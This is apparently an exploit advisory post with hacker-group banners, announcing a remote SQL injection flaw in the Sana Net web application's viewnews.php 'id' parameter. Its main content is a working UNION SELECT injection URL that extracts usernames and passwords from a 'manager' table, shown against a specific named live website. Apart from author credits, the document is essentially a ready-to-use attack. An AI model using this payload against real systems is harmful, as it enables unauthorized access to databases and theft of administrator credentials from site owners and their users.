Sana Net suffers from a remote SQL injection vulnerability.
6e6c8bf9ec960ce9c705571d6416e42adde96e1da8a5d49ee144c49b946fac76
################################ IRANIAN THE BEST HACKERS IN THE WORLD ##################
#################### ####################
##
## Remote SQL injection Vulnerability
##
## Sana Net (viewnews.php?id)
##
###############################################################
###############################################################
###############################################################
###############################################################
##
## AuTh0r : Ehsan_Hp200
##
## H0ME : www.ehsanhp.blogsky.com
##
## Email : Ehsan_Hp200@Hotmail.com
##
## Vendor : https://www.sana-net.com/
##
## Persian Gulf 4 Ever!
#############################
#############################
#############################
#############################
#############################
##
##
Exploite:
www.victim.com/viewnews.php?id=[SQL]
Example :
https://www.yousefnajafi.com/viewnews.php?id=-null/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null/**/from/**/manager
#########################################################################################
SpeCial TanX To : Skote_Vahshat
##########################################################################################
############################### IRANIAN THE BEST HACKERS IN THE WORLD ##################